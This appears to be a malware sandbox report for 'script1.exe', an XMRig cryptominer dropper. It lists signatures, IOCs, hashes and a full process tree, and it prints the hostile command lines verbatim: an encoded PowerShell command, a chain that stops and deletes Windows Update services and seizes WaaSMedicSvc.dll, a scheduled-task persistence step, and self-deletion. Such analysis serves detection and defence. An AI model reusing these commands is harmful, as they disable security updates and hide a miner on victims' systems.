Overview

overview

10

Static

static

script1.exe

windows7_x64

10

script1.exe

windows10-2004_x64

10
General
Target

script1.exe

Filesize

7MB

Completed

19-05-2022 22:37

Task

behavioral1

Score
10/10
MD5

cc45f791667f3b9fb6281414f5325561

SHA1

df8b29bbc15712f928a61f6d0c8e045d823dce84

SHA256

dde77f52e25c661b86b499b40e627512b5713e53744c2bafb57450d7fdac3785

SHA256

f70692b95b4b09d65f5bf4ef5915fccbf2f0628ad206e3fa064b6d595e5176d4e9d89368215b474e0ca95f38bae918fe31f2d64aa9849a9045cd5b4d84ff95d7

Malware Config
Signatures 21

Filter: none

Defense Evasion
Discovery
Impact
Persistence
  • Modifies security service
    reg.exe

    Tags

    TTPs

    Modify RegistryModify Existing Service

    Reported IOCs

    descriptioniocprocess
    Key deleted\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parametersreg.exe
    Key deleted\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Securityreg.exe
  • xmrig

    Description

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    Tags

  • XMRig Miner Payload

    Tags

    Reported IOCs

    resourceyara_rule
    behavioral1/memory/568-221-0x0000000140000000-0x0000000140803000-memory.dmpxmrig
  • Drops file in Drivers directory
    script1.exenshost.exe

    Reported IOCs

    descriptioniocprocess
    File opened for modificationC:\Windows\system32\drivers\etc\hostsscript1.exe
    File opened for modificationC:\Windows\system32\drivers\etc\hostsnshost.exe
  • Executes dropped EXE
    nshost.exe

    Reported IOCs

    pidprocess
    304nshost.exe
  • Possible privilege escalation attempt
    takeown.exeicacls.exetakeown.exeicacls.exe

    Tags

    Reported IOCs

    pidprocess
    1660takeown.exe
    568icacls.exe
    1776takeown.exe
    1384icacls.exe
  • Stops running service(s)

    Tags

    TTPs

    Modify Existing ServiceService Stop
  • Deletes itself
    cmd.exe

    Reported IOCs

    pidprocess
    2008cmd.exe
  • Loads dropped DLL
    taskeng.exe

    Reported IOCs

    pidprocess
    300taskeng.exe
  • Modifies file permissions
    takeown.exeicacls.exetakeown.exeicacls.exe

    Tags

    TTPs

    File Permissions Modification

    Reported IOCs

    pidprocess
    1776takeown.exe
    1384icacls.exe
    1660takeown.exe
    568icacls.exe
  • Drops file in System32 directory
    powershell.exepowershell.exe

    Reported IOCs

    descriptioniocprocess
    File opened for modificationC:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnkpowershell.exe
    File opened for modificationC:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnkpowershell.exe
  • Suspicious use of NtSetInformationThreadHideFromDebugger
    conhost.exe

    Reported IOCs

    pidprocess
    520conhost.exe
    520conhost.exe
  • Suspicious use of SetThreadContext
    nshost.exe

    Reported IOCs

    descriptionpidprocesstarget process
    PID 304 set thread context of 520304nshost.execonhost.exe
    PID 304 set thread context of 568304nshost.execonhost.exe
  • Launches sc.exe

    Description

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices

    Description

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

    TTPs

    System Information Discovery
  • Creates scheduled task(s)
    schtasks.exe

    Description

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    Tags

    TTPs

    Scheduled Task

    Reported IOCs

    pidprocess
    1748schtasks.exe
  • Modifies registry key
    reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

    TTPs

    Modify Registry

    Reported IOCs

    pidprocess
    652reg.exe
    832reg.exe
    396reg.exe
    1204reg.exe
    812reg.exe
    900reg.exe
    1984reg.exe
    1228reg.exe
    1620reg.exe
    1944reg.exe
    968reg.exe
    1956reg.exe
    748reg.exe
    272reg.exe
    1784reg.exe
    1412reg.exe
    1652reg.exe
    1372reg.exe
  • Suspicious behavior: EnumeratesProcesses
    powershell.exescript1.exepowershell.exenshost.execonhost.exe

    Reported IOCs

    pidprocess
    1760powershell.exe
    1092script1.exe
    520powershell.exe
    304nshost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
    568conhost.exe
  • Suspicious behavior: LoadsDriver

    Reported IOCs

    pidprocess
    468
  • Suspicious use of AdjustPrivilegeToken
    powershell.exepowercfg.exescript1.exepowercfg.exepowercfg.exepowercfg.exetakeown.exepowershell.exenshost.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exetakeown.execonhost.exe

    Reported IOCs

    descriptionpidprocess
    Token: SeDebugPrivilege1760powershell.exe
    Token: SeShutdownPrivilege1216powercfg.exe
    Token: SeDebugPrivilege1092script1.exe
    Token: SeShutdownPrivilege300powercfg.exe
    Token: SeShutdownPrivilege788powercfg.exe
    Token: SeShutdownPrivilege616powercfg.exe
    Token: SeTakeOwnershipPrivilege1776takeown.exe
    Token: SeDebugPrivilege520powershell.exe
    Token: SeDebugPrivilege304nshost.exe
    Token: SeShutdownPrivilege2012powercfg.exe
    Token: SeShutdownPrivilege1680powercfg.exe
    Token: SeShutdownPrivilege2004powercfg.exe
    Token: SeShutdownPrivilege1352powercfg.exe
    Token: SeTakeOwnershipPrivilege1660takeown.exe
    Token: SeLockMemoryPrivilege568conhost.exe
    Token: SeLockMemoryPrivilege568conhost.exe
  • Suspicious use of WriteProcessMemory
    script1.execmd.execmd.execmd.execmd.exe

    Reported IOCs

    descriptionpidprocesstarget process
    PID 1092 wrote to memory of 16521092script1.execmd.exe
    PID 1092 wrote to memory of 16521092script1.execmd.exe
    PID 1092 wrote to memory of 16521092script1.execmd.exe
    PID 1652 wrote to memory of 17601652cmd.exepowershell.exe
    PID 1652 wrote to memory of 17601652cmd.exepowershell.exe
    PID 1652 wrote to memory of 17601652cmd.exepowershell.exe
    PID 1092 wrote to memory of 9401092script1.execmd.exe
    PID 1092 wrote to memory of 9401092script1.execmd.exe
    PID 1092 wrote to memory of 9401092script1.execmd.exe
    PID 1092 wrote to memory of 13521092script1.execmd.exe
    PID 1092 wrote to memory of 13521092script1.execmd.exe
    PID 1092 wrote to memory of 13521092script1.execmd.exe
    PID 940 wrote to memory of 652940cmd.exesc.exe
    PID 940 wrote to memory of 652940cmd.exesc.exe
    PID 940 wrote to memory of 652940cmd.exesc.exe
    PID 1352 wrote to memory of 12161352cmd.exepowercfg.exe
    PID 1352 wrote to memory of 12161352cmd.exepowercfg.exe
    PID 1352 wrote to memory of 12161352cmd.exepowercfg.exe
    PID 940 wrote to memory of 1212940cmd.exesc.exe
    PID 940 wrote to memory of 1212940cmd.exesc.exe
    PID 940 wrote to memory of 1212940cmd.exesc.exe
    PID 940 wrote to memory of 272940cmd.exesc.exe
    PID 940 wrote to memory of 272940cmd.exesc.exe
    PID 940 wrote to memory of 272940cmd.exesc.exe
    PID 1352 wrote to memory of 3001352cmd.exepowercfg.exe
    PID 1352 wrote to memory of 3001352cmd.exepowercfg.exe
    PID 1352 wrote to memory of 3001352cmd.exepowercfg.exe
    PID 940 wrote to memory of 1068940cmd.exesc.exe
    PID 940 wrote to memory of 1068940cmd.exesc.exe
    PID 940 wrote to memory of 1068940cmd.exesc.exe
    PID 940 wrote to memory of 1356940cmd.exesc.exe
    PID 940 wrote to memory of 1356940cmd.exesc.exe
    PID 940 wrote to memory of 1356940cmd.exesc.exe
    PID 1352 wrote to memory of 7881352cmd.exepowercfg.exe
    PID 1352 wrote to memory of 7881352cmd.exepowercfg.exe
    PID 1352 wrote to memory of 7881352cmd.exepowercfg.exe
    PID 940 wrote to memory of 968940cmd.exereg.exe
    PID 940 wrote to memory of 968940cmd.exereg.exe
    PID 940 wrote to memory of 968940cmd.exereg.exe
    PID 1352 wrote to memory of 6161352cmd.exepowercfg.exe
    PID 1352 wrote to memory of 6161352cmd.exepowercfg.exe
    PID 1352 wrote to memory of 6161352cmd.exepowercfg.exe
    PID 940 wrote to memory of 1956940cmd.exereg.exe
    PID 940 wrote to memory of 1956940cmd.exereg.exe
    PID 940 wrote to memory of 1956940cmd.exereg.exe
    PID 940 wrote to memory of 748940cmd.exereg.exe
    PID 940 wrote to memory of 748940cmd.exereg.exe
    PID 940 wrote to memory of 748940cmd.exereg.exe
    PID 940 wrote to memory of 812940cmd.exereg.exe
    PID 940 wrote to memory of 812940cmd.exereg.exe
    PID 940 wrote to memory of 812940cmd.exereg.exe
    PID 940 wrote to memory of 1412940cmd.exereg.exe
    PID 940 wrote to memory of 1412940cmd.exereg.exe
    PID 940 wrote to memory of 1412940cmd.exereg.exe
    PID 940 wrote to memory of 1776940cmd.exetakeown.exe
    PID 940 wrote to memory of 1776940cmd.exetakeown.exe
    PID 940 wrote to memory of 1776940cmd.exetakeown.exe
    PID 940 wrote to memory of 1384940cmd.exeicacls.exe
    PID 940 wrote to memory of 1384940cmd.exeicacls.exe
    PID 940 wrote to memory of 1384940cmd.exeicacls.exe
    PID 1092 wrote to memory of 4361092script1.execmd.exe
    PID 1092 wrote to memory of 4361092script1.execmd.exe
    PID 1092 wrote to memory of 4361092script1.execmd.exe
    PID 436 wrote to memory of 1748436cmd.exeschtasks.exe
Processes 74
  • C:\Users\Admin\AppData\Local\Temp\script1.exe
    "C:\Users\Admin\AppData\Local\Temp\script1.exe"
    Drops file in Drivers directory
    Suspicious behavior: EnumeratesProcesses
    Suspicious use of AdjustPrivilegeToken
    Suspicious use of WriteProcessMemory
    PID:1092
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAGUAcgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG4AcABzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG4AdAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGQAcABwAGMAIwA+AA=="
      Suspicious use of WriteProcessMemory
      PID:1652
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -EncodedCommand "PAAjAGUAcgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG4AcABzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG4AdAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGQAcABwAGMAIwA+AA=="
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        PID:1760
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      Suspicious use of WriteProcessMemory
      PID:940
      • C:\Windows\system32\sc.exe
        sc stop UsoSvc
        PID:652
      • C:\Windows\system32\sc.exe
        sc stop WaaSMedicSvc
        PID:1212
      • C:\Windows\system32\sc.exe
        sc stop wuauserv
        PID:272
      • C:\Windows\system32\sc.exe
        sc stop bits
        PID:1068
      • C:\Windows\system32\sc.exe
        sc stop dosvc
        PID:1356
      • C:\Windows\system32\reg.exe
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
        Modifies registry key
        PID:968
      • C:\Windows\system32\reg.exe
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
        Modifies registry key
        PID:1956
      • C:\Windows\system32\reg.exe
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
        Modifies security service
        Modifies registry key
        PID:748
      • C:\Windows\system32\reg.exe
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
        Modifies registry key
        PID:812
      • C:\Windows\system32\reg.exe
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
        Modifies registry key
        PID:1412
      • C:\Windows\system32\takeown.exe
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        Possible privilege escalation attempt
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        PID:1776
      • C:\Windows\system32\icacls.exe
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
        Possible privilege escalation attempt
        Modifies file permissions
        PID:1384
      • C:\Windows\system32\reg.exe
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
        Modifies registry key
        PID:900
      • C:\Windows\system32\reg.exe
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
        Modifies registry key
        PID:1984
      • C:\Windows\system32\reg.exe
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
        Modifies registry key
        PID:1228
      • C:\Windows\system32\reg.exe
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
        Modifies registry key
        PID:1620
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
        PID:1624
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
        PID:1736
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
        PID:1028
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
        PID:944
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
        PID:1072
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
        PID:1768
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        PID:1544
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
      Suspicious use of WriteProcessMemory
      PID:1352
      • C:\Windows\system32\powercfg.exe
        powercfg /x -hibernate-timeout-ac 0
        Suspicious use of AdjustPrivilegeToken
        PID:1216
      • C:\Windows\system32\powercfg.exe
        powercfg /x -hibernate-timeout-dc 0
        Suspicious use of AdjustPrivilegeToken
        PID:300
      • C:\Windows\system32\powercfg.exe
        powercfg /x -standby-timeout-ac 0
        Suspicious use of AdjustPrivilegeToken
        PID:788
      • C:\Windows\system32\powercfg.exe
        powercfg /x -standby-timeout-dc 0
        Suspicious use of AdjustPrivilegeToken
        PID:616
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd /c schtasks /create /f /sc onlogon /rl highest /tn "ServiceUpdateTaskMachine" /tr '^"C:\Users\Admin\AppData\Local\Temp\Mircosoft\nshost.exe^"'
      Suspicious use of WriteProcessMemory
      PID:436
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc onlogon /rl highest /tn "ServiceUpdateTaskMachine" /tr '"C:\Users\Admin\AppData\Local\Temp\Mircosoft\nshost.exe"'
        Creates scheduled task(s)
        PID:1748
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd /c schtasks /run /tn "ServiceUpdateTaskMachine"
      PID:1784
      • C:\Windows\system32\schtasks.exe
        schtasks /run /tn "ServiceUpdateTaskMachine"
        PID:272
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\script1.exe"
      Deletes itself
      PID:2008
      • C:\Windows\system32\choice.exe
        choice /C Y /N /D Y /T 3
        PID:1068
  • C:\Windows\system32\taskeng.exe
    taskeng.exe {53E6F7BB-9224-4B6C-95E6-2762CE5B6BDF} S-1-5-21-2277218442-1199762539-2004043321-1000:AUVQQRRF\Admin:Interactive:[1]
    Loads dropped DLL
    PID:300
    • C:\Users\Admin\AppData\Local\Temp\Mircosoft\nshost.exe
      C:\Users\Admin\AppData\Local\Temp\Mircosoft\nshost.exe
      Drops file in Drivers directory
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:304
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAGUAcgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG4AcABzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG4AdAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGQAcABwAGMAIwA+AA=="
        PID:1600
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -EncodedCommand "PAAjAGUAcgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG4AcABzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG4AdAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGQAcABwAGMAIwA+AA=="
          Drops file in System32 directory
          Suspicious behavior: EnumeratesProcesses
          Suspicious use of AdjustPrivilegeToken
          PID:520
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        PID:1132
        • C:\Windows\system32\sc.exe
          sc stop UsoSvc
          PID:1716
        • C:\Windows\system32\sc.exe
          sc stop WaaSMedicSvc
          PID:956
        • C:\Windows\system32\sc.exe
          sc stop wuauserv
          PID:2032
        • C:\Windows\system32\sc.exe
          sc stop bits
          PID:2040
        • C:\Windows\system32\sc.exe
          sc stop dosvc
          PID:1936
        • C:\Windows\system32\reg.exe
          reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
          Modifies registry key
          PID:652
        • C:\Windows\system32\reg.exe
          reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
          Modifies registry key
          PID:1652
        • C:\Windows\system32\reg.exe
          reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
          Modifies registry key
          PID:832
        • C:\Windows\system32\reg.exe
          reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
          Modifies registry key
          PID:1944
        • C:\Windows\system32\reg.exe
          reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
          Modifies registry key
          PID:1204
        • C:\Windows\system32\takeown.exe
          takeown /f C:\Windows\System32\WaaSMedicSvc.dll
          Possible privilege escalation attempt
          Modifies file permissions
          Suspicious use of AdjustPrivilegeToken
          PID:1660
        • C:\Windows\system32\icacls.exe
          icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
          Possible privilege escalation attempt
          Modifies file permissions
          PID:568
        • C:\Windows\system32\reg.exe
          reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
          Modifies registry key
          PID:1372
        • C:\Windows\system32\reg.exe
          reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
          Modifies registry key
          PID:272
        • C:\Windows\system32\reg.exe
          reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
          Modifies registry key
          PID:1784
        • C:\Windows\system32\reg.exe
          reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
          Modifies registry key
          PID:396
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
          PID:616
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
          PID:1368
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
          PID:1412
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
          PID:608
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
          PID:1520
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
          PID:1172
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
          PID:1012
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
        PID:1568
        • C:\Windows\system32\powercfg.exe
          powercfg /x -hibernate-timeout-ac 0
          Suspicious use of AdjustPrivilegeToken
          PID:2012
        • C:\Windows\system32\powercfg.exe
          powercfg /x -hibernate-timeout-dc 0
          Suspicious use of AdjustPrivilegeToken
          PID:1680
        • C:\Windows\system32\powercfg.exe
          powercfg /x -standby-timeout-ac 0
          Suspicious use of AdjustPrivilegeToken
          PID:2004
        • C:\Windows\system32\powercfg.exe
          powercfg /x -standby-timeout-dc 0
          Suspicious use of AdjustPrivilegeToken
          PID:1352
      • C:\Windows\System32\conhost.exe
        C:\Windows\System32\conhost.exe
        Suspicious use of NtSetInformationThreadHideFromDebugger
        PID:520
        • C:\Windows\System32\conhost.exe
          "C:\Windows\System32\conhost.exe" "elciakxgyodfgp"
          PID:1568
      • C:\Windows\System32\conhost.exe
        C:\Windows\System32\conhost.exe ggorxoydbil1 Xji3FXYfqqI2timPThbgZueMNpSES88mLhMz2ywydJRha9S4YJkR8/KlqFio/vzAY7y//ZROYnArPXLiffwPB8Kr2fo1ssHPh8+toFAo+wzRGYTU4jGYVbu0tBMJh3RfnJDz7YWV+MpFnEpiMAfmX1rQQyg7jJfaIzAJNGY6+3cUA/26tWZW1qjVzKb7vm+9+UI/27mDPW9SkEazmCQyqvmf6CKllFjQ1aZUB9R4ieO8FotxcVvZQUZSqFI3EaWzZjvwwJ/6R8ZYkDDb9JeaeEhQekRXltyrVSsDT2DHC80svnL3Dvu9tJ90mgmsJPQlrCoc5paTZFcCkwShnPbjdnmFPAydnzi5uhgnbykZ03/jPdeutvaFwia2WVLsrs1oM/YGUWho/TK1cXghxl7wPcQADkA4WzyKEuo5oSaRnlntROsq1Hn5/QviY03gsWsbZiosuwdDLjM4XVLXFzcLPC4YOXyDaMqHSHI8xj5XMiO1xFPHZjflLrZ69NZ0UUZMJRLX6uY77d98weJR0SMBNmMkJJz9HSnl3Oz+sZnfQN5uh9hnFCOn3vmBJBDjGBohF8iHj1sdJ4Fodz3FFeub8snvJj71JjYZH0NfWhb3YRAIBERhqmG8/SA/Pie14wqVFkwMkGRBRKDdDS6Lzs+FiK8E/OEAFCPhCVcg51jG5fBcKtACelqlm6/up/PBnYWcG2FnLautcs/Q9gMrN7EMFUDmYVltwRavdUWnVbndrF8n283xUMv01Rvjg/zwhEe21h0kET/IMlSFy2dvu+3AtSh8tImRiZn1uqhvDYwu0nwBRTTohddp5QZ6Wxb0vRGHcvnMRmEIXaLNTQF8y7asfFazCnk3VUdMaPkpEOWE1RBGO/ZDutyD495juNhB0RlSEbK4sE69pJ3c759y59WfGRUs2qrJOOtxlwqzi+I1mIiFwUfWPuep+EOE4a0LzXAHUe/IB1bYDdXGv8X6